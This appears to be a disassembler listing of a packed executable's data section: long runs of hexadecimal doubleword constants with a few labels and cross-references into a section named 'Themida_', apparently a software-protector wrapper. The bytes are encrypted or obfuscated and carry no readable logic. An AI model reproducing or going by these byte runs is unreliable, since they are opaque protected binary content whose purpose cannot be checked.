		dd 0DDBEABCFh, 9B383F52h, 124FA00Bh, 0FDA7E76Eh, 8A7483E8h
		dd 26BBD52Ah, 0A00BA755h, 3B1FF9DAh, 0D7h, 338EEDD3h, 8F119265h
		dd 78FBC732h, 2960BB38h, 98C04B14h, 42307BC3h, 675F327Dh
		dd 48A5ED2Eh, 0D72C86E8h, 11936FF2h, 0BD2145CCh, 0BD17AAC6h
		dd 10ABCF55h, 106ED02Eh, 826744B3h, 0CE513617h,	253348ACh
		dd 0F287708Dh, 0CFACA00Ah, 283449E1h, 0C3A5EFA2h, 56648E0h
		dd 1FA596C6h, 11F65997h, 0A72FB00Eh, 25D3710Ah,	9863FE9Ah
		dd 9D9A25D3h, 14F9DABEh, 5055D081h, 88F9307Ch, 0C7Bh, 0C366B934h
		dd 1B3E83FFh, 54FB46A7h, 0AEB10E6Ah, 0ED8CCF50h, 37B80C83h
		dd 0FD7D45E4h, 0C22181A0h, 86E6D87Fh, 243C1639h, 654EE89h
		dd 665133A0h, 0E9922F47h, 4EA5EDB3h, 3ABD836Dh,	9DFF8E9Bh
		dd 5237915Ch, 2C71F3CFh, 0A651EC04h, 8BA5ED5Ah,	7E439B5h
		dd 11AF1829h, 0FBC7328Fh, 0EB052479h, 715FA205h, 8BED8BD3h
		dd 671CC2Bh, 0D5634025h, 0CFD05CB8h, 9A374FABh,	0A00B96E1h
		dd 0BB8B6546h, 0F9C751D8h, 304D2B76h, 0A00B9643h, 28962E7Ah
		dd 1ADD70CBh, 1FA00B97h, 671D543Ch, 327055FAh, 0F2D5E337h
		dd 0E9141826h, 13BD83E8h, 5D000000h, 0D7B01193h, 88F6AA75h
		dd 2D0AE6CBh, 91260h, 294D5700h, 2B365A2Eh, 0C3A0538Dh
		dd 624018B5h, 8BA3ABCFh, 0B308576h, 0AC4FE2A0h,	71A00B30h
		dd 8EDCE92h, 0A93FA181h, 0B306314h, 1BEBC8A0h, 0F6D7429Fh
		dd 30B00E11h, 54C9A4D3h, 33074F53h, 0AAF777B7h,	9F324AC5h
		dd 38C70CDCh, 1F806241h, 931E63C1h, 39A2EDB2h, 3966BA4Eh
		dd 0F97BBA4Eh, 0BB3D85A4h, 0A0542B66h, 3538C70Ch, 0F375C044h
		dd 0B85D82AEh, 0FDB5EFA3h, 39899870h, 7FF416B7h, 770F5C3Dh
		dd 68086792h, 3538C6C6h, 33B58004h, 0F5774BEEh,	0D91D61A8h
		dd 0D17E96A2h, 91EC1BCDh, 16F5D035h, 48CF754Ch,	40F08D6Bh
		dd 1B3EA9B3h, 380A57D5h, 142960BBh, 0E88F6C3Ch,	7A44AB9Dh
		dd 0B8CAA6F9h, 0CF315F34h, 0C2E32E73h, 7DC35EF6h, 3838C780h
		dd 9254C95Bh, 3B0B144Ch, 18B0D8B3h, 222B7FB7h, 7B554868h
		dd 0D3D846E6h, 54E90154h, 490FABA3h, 0FDCDAB88h, 0AB3F3855h
		dd 7E4490Fh, 539DF722h,	9DAF89D4h, 0FB162259h, 4EF5265Dh
		dd 238DAB88h, 740000C1h, 7137121h, 2A0B11EAh, 50351643h
		dd 7A44EC73h, 5469A0FBh, 0ED32B27Ch, 4C1EA3BEh,	0C7B8F1D3h
		dd 0A7Fh, 0C76AB530h, 1F227FFBh, 58FF42A3h, 92B50A66h
		dd 0D170CB2Ch, 3BBC0887h, 16141E0h, 0C6259DBCh,	8AEAD47Bh
		dd 20381235h, 652EA8Dh,	9A6D4FA0h, 0DB328F11h, 7088760Ah
		dd 409AD722h, 7100000Ah, 3886A9F4h, 0E0DE61BEh,	0A71B3E81h
		dd 6D55F449h, 0B890B70Ah, 2D70F347h, 0E936B40Ah, 0A0FB7846h
		dd 62BF2181h, 46DB77DFh, 0A00652B5h, 11AF987Ah,	0FBC7328Fh
		dd 28D36E78h, 0DA5EDB3h, 5326492Eh, 0C03C82E9h,	39173463h
		dd 0A0C8C32Bh, 0CFBCAF0Dh, 0A52A42ABh, 815A561Bh, 46315CCEh
		dd 0F5A00B97h, 0DFEC2B76h, 6E3E1AF9h, 3A02178Dh, 3F61C8F1h
		dd 19B4DCB7h, 0E430538Fh, 84E611F2h, 0F00D2B60h, 0DE51A264h
		dd 3A84AC8Fh, 0E8932EBAh, 4DD286ADh, 18E6896Eh,	1DD04B98h
		dd 2343EF7Ch, 99D99D6h,	97120000h, 61DD2544h, 24857D1Ch
		dd 0EC48B6D9h, 0AD0EF097h, 2A65CF52h, 0BFC21D9Eh, 0FB9EE343h
		dd 3255A807h, 70176CCCh, 8F30E1Ah, 2DA00652h, 8F117C4Fh
		dd 15ADC732h, 0EDB3FFF8h, 694724A5h, 6BC82887h,	0E7C49910h
		dd 0B3AA2D40h, 0E90DA5EDh, 1C03C5EEh, 0DD2BC7Bh, 4EF0FC63h
		dd 0E4E2E631h, 7A563B88h, 0B0D44FE2h, 0CAA9ABD4h, 4EA816AEh
		dd 0C7328DECh, 0B59601E6h, 0CF117AACh, 2EE2E0Fh, 0FE7ABC3Ch
		dd 705576A1h, 328F11D1h, 0B329B926h, 8DC4B078h,	0E3446AA3h
		dd 75BDBED3h, 8162A006h, 0E17C94BCh, 0A0067616h, 753D3E53h
		dd 1E2A006h, 3D745C3Fh,	306BB635h, 766FB347h, 0DC6F2049h
		dd 0D5000008h, 9C620558h, 44BADD22h, 0BF79AE5h,	0F13150ADh
		dd 240C136Eh, 81DC5FEBh, 5DA200FEh, 1467C43Ah, 0D62B8D75h
		dd 324FDBB3h, 0A0065149h, 113B0CEEh, 0FBC7328Fh, 65ED2479h
		dd 43A57014h, 7F8A3E82h, 0AC711CD6h, 7DFC638Dh,	0C1A5AC9Bh
		dd 3773AE4h, 0AED3CE42h, 0A0850C4Fh, 434BF5C3h,	0D089CAF7h
		dd 0C43390EEh, 0C84D09E7h, 92000005h, 0EC4F294Dh, 0DD22D8Ch
		dd 0B4DCA182h, 0D50F8619h, 0EB4DB3ABh, 6E4A1B96h, 2D93BD9Eh
		dd 0B3D376CBh, 4E256C2Fh, 1972C3F8h, 4ACA156Dh,	1AB15B4Eh
		dd 52D1AAC7h, 7556269Ah, 0FB81B890h, 0D926806Eh, 9DA38D5Eh
		dd 0A77B091h, 4E32h, 9314DA00h,	716D3034h, 0C7A4EB99h
		dd 2D4D0EE9h, 0B3EF8825h, 5734A5EDh, 604EE672h,	0BFD2BE01h
		dd 0A5EDB3BCh, 7B7C9129h, 0A0A5EDB3h, 3984E3C3h, 2303EDFEh
		dd 1BAC940h, 0CC65516h,	0E824AF55h, 896963AEh, 7, 2A7605Eh
		dd 4D570000h, 99C65229h, 810AEE1Bh, 227FE1E2h, 27F1D6F7h
		dd 0A799F20Fh, 0DDBEABD4h, 5A592CB3h, 0C5F6F828h, 366516ABh
		dd 0E9CAA006h, 0FDFB960Fh, 90A00636h, 2ACD60F8h, 0FA00636h
		dd 770D442Ch, 69077CE0h, 35BBBCD1h, 0FD1FA006h,	9372463h
		dd 77412206h, 1D4942DFh, 2D0EA5EDh, 0E833B40Ah,	22BFD7A1h
		dd 9A1E6359h, 2D13FDDEh, 933877CAh, 2B4320A4h, 1E63E596h
		dd 0CEF029Ah, 119A1E64h, 0D48D6E32h, 0D0549755h, 0FDC3ADD8h
		dd 0F109277Ah, 2752AF0Fh, 0D28C6F06h, 0B2919A1Dh, 0FB7B47E6h
		dd 0F9116BA6h, 1DD29364h, 0DDBB989Ah, 0F329313h, 136ECFD6h
		dd 56EB8B32h, 62D4A73Ah, 7A599A1Eh, 86F11A95h
		dd 1D9B6502h, 0A806E8C0h, 0B297EC46h, 8F30EA6h,	2D9A1E63h
		dd 0A9C3624Eh, 62FBFC11h, 43209A1Eh, 6335D875h,	0B3309A1Eh
		dd 77F9C968h, 7D95EF2Ah, 4BEA37B3h, 9A1E62B0h, 0FDBA9675h
		dd 9B6E2D4Dh, 0AAFA47A7h, 6F946A4h, 0D97122D3h,	0CE499417h
		dd 5AA705FDh, 0B241C77Eh, 89CB157Ah, 89728F27h,	0AEA5EDBFh
		dd 77E3CDh, 78000004h, 0E24F8E11h, 82D0A196h, 89E32EF3h
		dd 0DF79C427h, 0ED3BB942h, 0B39D7EA5h, 433A9646h, 0AAF576BDh
		dd 65B83B87h, 0F14EAC92h, 25DB123Eh, 26328DEEh,	3B88738Eh
		dd 0CEADA5EDh, 38B8BEE2h, 2634DEBh, 855370BFh, 3B83710Ch
		dd 33B0A5EDh, 1E81A1E8h, 5D0B54C3h, 0E46AAC61h,	38CC6543h
		dd 3BC1B8E0h, 42B78F8h,	0A13C54ECh, 0A5ECD9D6h,	22D5785Bh
		dd 7A5ECDAh, 5624C24h, 0BCFB46A7h, 97C9B6AFh, 0F98B3CE8h
		dd 33B27C14h, 0FA8900E8h, 0A5ED61FEh, 0FF36CA8Fh, 0F71A3D80h
		dd 0A5ED6E78h, 0B3A1EC96h, 294289CAh, 95FFFFFFh, 7F6E1847h
		dd 8BC0B4B3h, 1C61C3ADh, 0D72C8A74h, 9CAD8B58h,	327DC222h
		dd 0ECC4F55Ah, 7FBDC0E3h, 0A7F8FC91h, 0A29BA5EDh, 4895171Eh
		dd 0DA778F29h, 0A5EDA821h, 654B2506h, 1D70BF02h, 766148C3h
		dd 0C03A849Ch, 0C15C3463h, 0D57A0536h, 5D3B18FBh, 999560E4h
		dd 3AB95767h, 75h, 52294D8Dh, 6813AEC6h, 0CDA5EDB3h, 0D76A02EEh
		dd 0ABD510B4h, 5324B9D1h, 0D8A00657h, 6E4D1DFBh, 6674923h
		dd 816F7CBBh, 6580CECh,	38CC85A0h, 0E3AF71BDh, 2B1283h
		dd 42A50000h, 0A5EDBE89h, 0E03BB806h, 0EDA8AA4Dh, 4AE78FA5h
		dd 0A5EDA8B1h, 0CEB09576h, 0C5E6116Eh, 0FD716FE0h, 6046FFFFh
		dd 11h,	2916057h, 0A6080000h, 0ABB8F74Ch, 29075ADBh, 2F8F114Eh
		dd 60AF8CD1h, 0FE81DE5Eh, 0D563185Ch, 0CFD264B8h, 0C5211FABh
		dd 0AE313178h, 22072453h, 0B8BFD25Dh, 0CFA00B94h, 2767EE92h
		dd 0C883E8F2h, 20h, 52294D1Fh, 0CBD1ABC6h, 7754ABCFh, 9B8E6538h
		dd 7831A00Bh, 0FCFD31C4h, 0E2A683E8h, 29000000h, 0E4798F11h
		dd 0A5EDB413h, 0DB563B18h, 0CE499417h, 0F42380E0h, 8FD4529Ch
		dd 0E5432300h, 6ECEB098h, 0B5B96E6Dh, 896E8053h, 7E7B4BE6h
		dd 0D454A5EDh, 224AE88Fh, 49B7CF69h, 0A6BB95E8h, 0ABD22538h
		dd 31CA67FFh, 0E8A008C4h, 0EFFC3B88h, 2BCC6109h, 0F0A008C4h
		dd 82624E13h, 0B2FD42BCh, 0ED3308Ch, 3EA10F29h,	0A70A55E3h
		dd 0BBBCD17Fh, 60A00959h, 3BCBC283h, 86F14CABh,	59E8C0A5h
		dd 126FF13Fh, 2F9DC6E7h, 514B76C9h, 0F3743A16h,	2E8E7DA8h
		dd 1F9A766Dh, 44222h, 0AFF24F00h, 67BC3688h, 3C7FFEC0h
		dd 0FA47A51Dh, 0B5086B57h, 0F145BA92h, 0B20C136Eh, 7648EF34h
		dd 3F83A6F9h, 75C160BDh, 4CB740DDh, 9E7CA006h, 2E8E11ADh
		dd 5D028DD2h, 0C0A72700h
dword_544450	dd 351AFF97h, 0EA4CAC12h, 0CB6E3390h, 328F11FEh, 2479FBC7h
					; DATA XREF: ___:off_43BFBCo
		dd 1877C30Ch, 1DD8403Ah, 6CF01233h, 7EE17917h, 70BDEA64h
		dd 902D4BD7h, 0A5ECB6E7h, 0EC816F4Ch, 0ABCED544h, 12DC7457h
		dd 376E4A95h, 0A989D58h, 0C11E98A0h, 0D8A33E56h, 5DA00A98h
		dd 0DB28847Eh, 0CEA9C45Ch, 53A00A98h, 0BB18870h, 8BC8D15h
		dd 0C419955Bh, 0F290784Dh, 0EA07116Ah, 0A5ECB74Ah, 0DF98355Dh
		dd 3B9A287Ah, 0ECC81499h, 4E7C926h, 8360BB3Ah, 54A90BF5h
		dd 2549ED7Ch, 0F4AFC26Eh, 89A00F5Bh, 0C1208EAAh, 0C9B4DB7Eh
		dd 7C9440A3h, 0E343A1FFh, 0D2F33E83h, 0BE00280Dh, 7716E23Dh
		dd 60FAh, 2F47F100h, 0EDB3E992h, 836D4EA5h, 0EDB409EEh
		dd 740F54A5h, 8E23BBD5h, 0A5EDB3EDh, 0B9875132h, 0D7AAE538h
		dd 0A5EDB424h, 0A3721643h, 0E51FF42h, 65499038h, 0FDFE1396h
		dd 22A5ED4Fh, 0B9D47C41h, 0A5ED4FBEh, 99A88063h, 3877CA29h
		dd 0ED4F8F65h, 0C77D3CA5h, 4AE7EF4Ch, 0A5ED4FB1h, 91B09576h
		dd 0F6794758h, 715F6CABh, 0A2ED308Fh, 60C11F9Ch, 0ECB1921Dh
		dd 0DC219DA5h, 0D5A63B55h, 5AA5EDB3h, 0D72A8979h, 0F197C258h
		dd 0EE92E73Fh, 768C827h, 1DB0D7B4h, 0A5EDC6DCh,	0BB98E543h
		dd 0CAFD848Bh, 0FF5C2D89h, 47B2FFFFh, 9FD4B318h, 7055DC21h
		dd 5ED2DFEFh, 0D72C8C72h, 0AAF777B9h, 96B57CEh,	0ED7195B4h
		dd 3967FA96h, 7CABCFA3h, 75FA4D3h, 230D4332h, 5A296043h
		dd 0A00AB89Dh, 0D36920h, 83E8160Ch, 25B5h, 294D3A00h, 0D1ABC652h
		dd 54ABCFCBh, 8E653877h, 31A00B9Bh, 0FD31C478h,	9A83E8FCh
		dd 0A18FD454h, 0DEB5h, 18473A00h, 0E34A7967h, 1FB2DEB8h
		dd 0A5EDB25Ch, 2816E2C1h, 323C7BC8h, 49236EB1h,	0C9B90467h
		dd 743A166Bh, 860AFF4h,	0BEF946A6h, 7BFDC3ADh, 2A65B83Bh
		dd 0D21C3419h, 1F2E0A55h, 0EDB7D2F0h, 207DFFA5h, 0AB09F701h
		dd 2C41DB56h, 0A5EDAE4Bh, 422EF3D0h, 68A7FC7Ch,	9FB9D21Ah
		dd 0CFCC4A02h, 8BAE8DABh, 0C3B4C961h, 76A00B90h, 586DA4F7h
		dd 0AFBD9B78h, 8C244C47h, 9E7AC522h, 0F0445583h, 95A380A5h
		dd 3A75C82Bh, 0DD2CCF62h, 12F19A26h, 0E5CB634Dh, 0A6183F82h
		dd 0EAA3FA45h, 0D27C4F4Bh, 19DEAA7h, 97120000h,	61DD2544h
		dd 24857D1Ch, 0EC48B6D9h, 0AD0EF097h, 2A65CF52h, 0BFC21D9Eh
		dd 0FB9EE343h, 3255A807h, 70176CCCh, 8F30E1Ah, 2DA0064Ah
		dd 8E117C4Fh, 52D22C33h, 4D9D6A0Dh, 0F3841929h,	38A5EDB3h
		dd 1C9BE846h, 0EB856A4Fh, 0DC5BA605h, 0F409210Fh, 0ABCFCC04h
		dd 0C31E816Fh, 0E07D15F5h, 0A00B9C17h, 0DF5A3F1Ch, 78952D45h
		dd 0A00B9B7Fh, 0CBACC7A4h, 2FA00B9Bh, 93C27B7Fh, 0A98A6E95h
		dd 54C5B2CFh, 81F8A00Bh, 0B63478FBh, 0A4DD83E8h, 0BD000000h
		dd 0C756E612h, 0E8390Dh, 328F1137h, 2578FBC7h, 0B8AF97EAh
		dd 0A000A5EDh, 62C23C43h, 2A8D731Dh, 0E280F9D7h, 0DA77017Ah
		dd 0ABCFCCF2h, 3953F6D5h, 0EC2B76F7h, 5B1CB1DFh, 0C0A00B91h
		dd 0EF7715E3h, 9461FC94h, 9DA5F041h, 0CB2C92BEh, 8E11D170h
		dd 483DD833h, 0E6137C4Fh, 0AEA9h, 3B86E300h, 0F350AA14h
		dd 0C813926Ch, 86DB59A9h, 419C1FE3h, 6DD9563Eh,	2E90B70Ah
		dd 12EC73D0h, 0DB274A95h, 9650459h, 4A1BDC71h, 2200A006h
		dd 338E1149h, 0D52D22Ch, 0C5B6CB63h, 74A5EDB3h,	0E5C6AAF5h
		dd 118D7A0Bh, 0FBC7328Fh, 0E1052479h, 0D76A067Dh, 0ABD510B0h
		dd 0D53D8AD5h, 2E404F4Ch, 16816242h, 0D47BC828h, 1B358AEAh
		dd 198D6E83h, 0B192A006h, 0DCD3AEE7h, 2190767h,	22829137h
		dd 0E444BADDh, 0D22E109Fh, 797CE38Dh, 35B0A8B2h, 106AA38Dh
		dd 901023D9h, 52D22C33h, 0CCD820Dh, 0BB000000h,	0B2016F14h
		dd 0F6C21AFFh, 112E1901h, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh
		dd 0A78B065Bh, 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah
		dd 5C68A7FCh, 815A5452h, 4C2h, 4EA8300h, 5C241487h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89512404h, 4C181E1h
		dd 83000000h, 0C8704E9h, 1C895C24h, 0C5BA5224h,	0B869AD18h
		dd 9C3A4432h, 530C8905h, 2DD00131h, 31530C89h, 1C8B545Ah
		dd 4C48124h, 50000000h,	1B242C81h, 8F008276h, 43810843h
		dd 82761B08h, 241C8B00h, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 582434FFh, 4C481h, 79E90000h, 4CFFFBE1h, 0C5B82F57h
		dd 305E76Bh, 7E0FFC5h, 7012ECAEh, 1C4EF79Eh, 6F76A895h
		dd 35304862h, 7B0AD613h, 883AA1C3h, 8B624042h, 77104F5Ah
aNNs		db 'ÈNé°',0            ; DATA XREF: Themida_:004F072Co
		align 10h
		dd 0DA8C6660h, 0F04C2F6h, 0C85h, 2D853B00h, 0F05E226h
		dd 3684h, 0D853B00h, 0F05E215h,	2A84h, 89853B00h, 0F05E211h
		dd 1E84h, 11853B00h, 0F05E209h,	1284h, 0B1BD8300h, 105E218h
		dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
		dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
		dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
		dd 17820Fh, 0CF3B0000h,	0F830Fh, 0C3830000h, 850F4A04h
		dd 0FFFFFFDCh, 0DE9h, 429D8D00h, 0B805E24Ch, 5,	0C361E3FFh
		dd 8D8DD00Bh, 5E76DACh,	0BD0BC38Ah, 5E21D4Dh, 0BE98D89h
		dd 0C7FC05E2h, 0E2076185h, 63D405h, 5585C700h, 5E21Bh
		dd 8B000000h, 0E21E8185h, 0E5B5FF05h, 6A05E210h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 78A3C355h, 0E4E02CFDh, 958961F2h, 5E22A75h, 0B1595FFh
		dd 858B05E2h, 5E20A9Dh,	95FF006Ah, 5E20AB9h, 7FEBC08Bh
		dd 0CF582182h, 0AA55413Ah, 84973CE4h, 73DBB3ECh, 13E23823h
		dd 0BC7679B7h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh
		dd 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 1CD5383Ch,	0AA389BC2h
		dd 8D4A41C9h, 5597A3EAh, 91644FA0h, 0E4A3713Eh,	1812F757h
		dd 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 0C7956493h, 4DEBDC32h
		dd 0A93F2569h, 0F7CD76D8h, 911ABB68h, 48B0A214h, 577C0B8Eh
		dd 0EDFAADDFh, 8D4BC67Fh, 0E2016D9Dh, 39B805h, 85890000h
		dd 5E20BA5h, 0E8h, 0D055800h, 89000000h, 39E903h
		db 2 dup(0)
word_544B0A	dw 0			; DATA XREF: Themida_:004EDE24o
		dd 0Dh dup(77E6h), 0E8FF77E6h, 8, 9A4CBBBAh, 3A5846CBh
		dd 8280BF66h, 0FA8B605Eh, 4810Fh, 0BA660000h, 8161510Bh
		dd 5B49C6h, 0BB00h, 0F9510000h,	1E148B59h, 68F281FCh, 66587E7Ch
		dd 818D93BFh, 41FC8DEAh, 10C28163h, 0F1F85D0h, 1489FFBFh
		dd 8F71BF1Eh, 8A0F5AC7h, 0Ch, 6890Fh, 840F0000h, 0
		dd 0E801EB83h, 14h, 17C28017h, 72F442ADh, 78A99F22h, 0F88B9B93h
		dd 879B3FC7h, 4B58C18Ah, 0FB8B4B4Bh, 0A554FB81h, 850FFFFFh
		dd 0FFFFFF99h, 0B830Fh,	820F0000h, 5, 1FBD9EB8h, 0EFE94Bh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 65DDCEC3h, 0CF8B6660h, 615AF080h,	6FAAB58Dh
		dd 0CE905E7h, 35000000h, 0A2E2E1E3h, 76853BEh, 8D5A2A18h
		db 85h,	0Eh
word_544C2E	dw 0E554h		; DATA XREF: Themida_:004EE554o
		dd 8160F505h, 0DA21A8F7h, 62BB6642h, 0D0FF6138h, 6AC3FCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 7212C1C3h, 0D98C66F8h, 0A8E0Fh, 5E90000h, 4B000000h
		dd 21B10507h, 0F04C1F6h, 3F84h,	0BF0F6000h, 61CF8AF1h
		dd 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h
		dd 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh
		dd 75490A75h, 1B8FAh, 9EB0000h,	0E4EB008Bh, 0B8h, 8B0FCF00h
		dd 9, 8E0FFC60h, 0
		dd 0BB666061h, 0D381404Ch, 6888A40Dh, 0E585C761h, 3F05E76Fh
		dd 8D000101h, 0E770BF8Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 89F85E56h
		dd 0E20BE98Dh, 0C1B52B05h, 0C705E20Ah, 0E2076185h, 72B805h
		dd 58F0F00h, 66000000h,	0E93DCE81h, 1B5585C7h, 5E2h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 9349DFC3h, 0FF6D289Ah, 0E21DF1B5h, 85958B05h, 0FF05E201h
		dd 0E20B1595h, 259D0105h, 6A05E233h, 0B995FF00h, 8B05E20Ah
		dd 694DEBC0h, 0E2DA4C7Bh, 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h
		dd 38B4E9F8h, 7C5BF51Dh, 0FA2F2A87h, 4019BFF7h,	0B06591CDh
		dd 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h, 0B1EFC155h
		dd 895680EBh, 1638278Dh, 615AEACAh, 7C5033E9h, 0C816B62Ah
		dd 60EBh, 17h dup(0)
		dd 0F2E90000h, 0E900000Ah, 0AE6h, 0E7791568h, 0E8DE905h
		dd 3F68FFFBh, 0E905E77Ah, 0FFFB0E83h, 0E77AC968h, 0E79E905h
		dd 3F5FFFBh, 0AE261B87h, 5D9DECEAh, 1F4B551h, 0B12A1FBBh
		dd 0A948E7E3h, 3DD9E714h, 9B078D4Ch, 626834A6h,	36DCDA1Fh
		dd 0E152F70Eh, 30F9FFC8h, 6B6E894Dh, 32B5C625h,	0C746F9C7h
		dd 31545084h, 0B9B2A384h, 1463FC18h, 6592D7B3h,	9BE2B02Dh
		dd 9F86E552h, 0E9D1BDCh, 8775FCCDh, 0FEA1E03Bh,	0E26BB2F6h
		dd 0B999DA7Fh, 0F348FC18h, 2E7467EAh, 0EAE2AE3Bh, 92B4159Dh
		dd 3AA32249h, 764F574h,	0BAEE609Fh, 226D08D1h, 912A7863h
		dd 4672DAEh, 26128C1Dh,	23EAD29h, 793FB6B9h, 6B37A322h
		dd 6125D110h, 8CA0AD1Ah, 0D9283C9Dh, 68C70200h,	7A3EB6F9h
		dd 0DEF29B5Ch, 0DD490EABh, 0AB80F9F0h, 9AED150h, 0F9F0DD48h
		dd 0F30A9642h, 4667DC7Ah, 0E804DE1Bh, 9D8E4F0Eh, 0C1C70E71h
		dd 6E400E94h, 0F40E969h, 0C6FC18B9h, 9C0D3C69h,	5D702FE7h
		db 1Eh,	0E2h
word_544F42	dw 0EDD9h		; DATA XREF: ___:off_4274E0o
		dd 0EFAE704Ah, 1C59ACEAh, 726CF2CBh, 0E1CD3A86h, 0C98A2FAEh
		dd 18FC18B9h, 0C68C9A23h, 4078855h, 0E542C53Dh,	0FF18B974h
		dd 0BABB1CADh, 6BFF18B9h, 9906A71Ch, 44h, 567A18ADh, 4809AE68h
		dd 99FC18B9h, 132D087Eh, 0C6331868h, 0AF7BD643h, 3AC865C8h
		dd 2FAEC5A1h, 0DBFC48BAh, 1E2F2C6Ch, 0FC180E5Dh, 0E32EBFF4h
		dd 22666EDBh, 3C787C3Fh, 6F5B6CE9h, 318E4A70h, 0B4000000h
		dd 68567A18h, 6F6C2FAEh, 4891DA21h, 18B96EEFh, 0F9FDBCFCh
		dd 0DCED6EBDh, 400306B3h, 45F6159Bh, 94AE8664h,	0AD28666Eh
		dd 7DAAF8E5h, 4A70BA00h, 0D0577B18h, 0FADF1777h, 4EF14E01h
		dd 0C6A625D9h, 0CD1EA265h, 86A4D9A6h, 31B7F9FAh, 520FC245h
		dd 82BC3FE6h, 86000001h, 2C537F18h, 18B9C28Bh, 0D13403FCh
		dd 0A723696Eh, 23696EB9h, 48CB4A87h, 18B96EEFh,	0FFC8A7FCh
		dd 567A180Bh, 23B43568h, 114EE2A9h, 1DE9F288h, 4078855h
		dd 5882C53Dh, 23843154h, 42FEh,	7A18C000h, 0E219995Ch
		dd 0D70C49DCh, 0ECCA07B4h, 37B39AEh, 0B48D0F2Ch, 0A4BEC13h
		dd 0DBFC182Dh, 94AE466Ch, 8422666Eh, 0DBD639AEh, 0FEE52149h
		dd 0AE7E7CEDh, 0B9C98A2Fh, 2318FC18h, 33379Ah, 0AE4F0000h
		dd 47A6ECEFh, 56FCB516h, 9AE7472h, 0FC18B948h, 45960382h
		dd 0A2B6023Bh, 86530425h, 0B582FC18h, 5BCE0B14h, 0AD3E118h
		dd 6E94AE3Ch, 70842266h, 537F184Ah, 0B9C68B2Ch,	5514FC18h
		dd 5481E4A2h, 0CD581773h, 0D0575582h, 83246A91h, 2FAED987h
		dd 18B9C98Ah, 9A2318FCh, 5E6422D7h, 7A18704Ah, 0B4356856h
		dd 0C58E723h, 0E3C4D31Fh, 7885507h, 44C73D04h, 0FB000000h
		dd 0D3567A18h, 0A4258746h, 0C6E72334h, 4809AEE0h, 99FC18B9h
		dd 0B98ECF68h, 0E847FC18h, 94AE37B3h, 8422666Eh, 0B7C639AEh
		dd 0C0484B59h, 78BC4B57h, 16B7B63Ch, 0EFAEB135h, 115AA1EDh
		dd 2269C8h, 189D0000h, 0AE68567Ah, 18B94809h, 0CBF764FCh
		dd 0A2E8EFAEh, 0DDE3185Bh, 0F7D00D4Eh, 666EB288h, 4A708422h
		dd 0AAEEEFAEh, 0D4376C30h, 0EEFB4667h, 0B8000000h, 0B9DF9039h
		dd 0E576FC18h, 0DA97DDDCh, 6F78B56Ah, 8F7F189Bh, 388626B9h
		dd 7F78AF80h, 0FC5DCC39h, 0FC18DA73h, 8D13C689h, 0A91EE3Ch
		dd 2E2F880Bh, 0E7FC18DAh, 1FA35988h, 505683CEh,	696E8C4Ah
		dd 0EFAE8723h, 7219A2E8h, 5C7A1888h, 4D8E1D9Bh,	0B435AA10h
		dd 8BE46423h, 51FA0E21h, 0B3B324A0h, 0C7A30400h, 0A6ECEFAEh
		dd 7BC6105h, 34133D04h,	57000000h, 0D3567A18h, 0A7EB1150h
		dd 5361744h, 0DCFC18B9h, 0AE604667h, 18B94809h,	4A299FCh
		dd 666E94AEh, 39AE8422h, 3B5638D5h, 52F3D4A0h, 478E94h
		dd 18B40000h, 0AE68567Ah, 0CE6BEDEFh, 0FC18B98Dh, 6BB2EF44h
		dd 0B9CE8F28h, 2807FC18h, 24A7EAF3h, 0B4F8E2A5h, 18B9A293h
		dd 0A30473FCh, 18B9195Ah, 3A8035FCh, 0C98A2FAEh, 18FC18B9h
		dd 0B7ECB229h, 6ED3EB16h, 70842266h, 23696E4Ah,	5F6399D8h
		dd 8309CEB3h, 0B9601F78h, 0F49FC18h, 880ECB37h,	0FCBA3F02h
		dd 3AF847A9h, 0F9C73477h, 208E66E0h, 0E2D5F1B7h, 71D6497Dh
		dd 1FADF11h, 0B790EB40h, 0F9FA9FBAh, 0C069E8A9h, 0F9FA9F8Fh
		dd 96D0E946h, 39B66B9Eh, 12153FE6h, 29000000h, 0D823696Eh
		dd 18B9FE7Fh, 0D5A1ABFCh, 0AC2A7069h, 0EBEFAEA6h, 10CB44A7h
		dd 0B7A437FCh, 0FA5FC23Fh, 0FC189579h, 470AD3A8h, 38F11492h
		dd 8087EB1Bh, 0BAC50FCh, 0EA0EABDEh, 3602001Dh,	112112B7h
		dd 0BBF0F9FFh, 5485E422h, 0FAFD1956h, 69CE7155h, 41D7739h
		dd 0AF881368h, 0F7D17792h, 386F4781h, 45CDE1E5h, 304Ah
		dd 0E344C700h, 0F7D17B72h, 961ADEA3h, 18BA8059h, 8B2C537Fh
		dd 0FC18B9DAh, 0E6AC5110h, 77EA41C5h
dword_545350	dd 0D2F8C434h, 2A8Fh, 894D0C00h, 6C7DFE0Dh, 537F189Eh
					; DATA XREF: ___:off_43BF7Co
		dd 0B9C68B2Ch, 300FFC18h, 6A2C9831h, 8CD0CB3Bh,	45B5F43Bh
		dd 0DB2516B3h, 87FCFC18h, 8E864C4Ah, 18Ch, 527E18B4h, 0AE704A94h
		dd 39386639h, 0A700044Bh, 0A2A53FB8h, 0E9544D86h, 0D643C633h
		dd 2E8995BEh, 0EFCCD25h, 88550F35h, 0C53D0407h,	34575582h
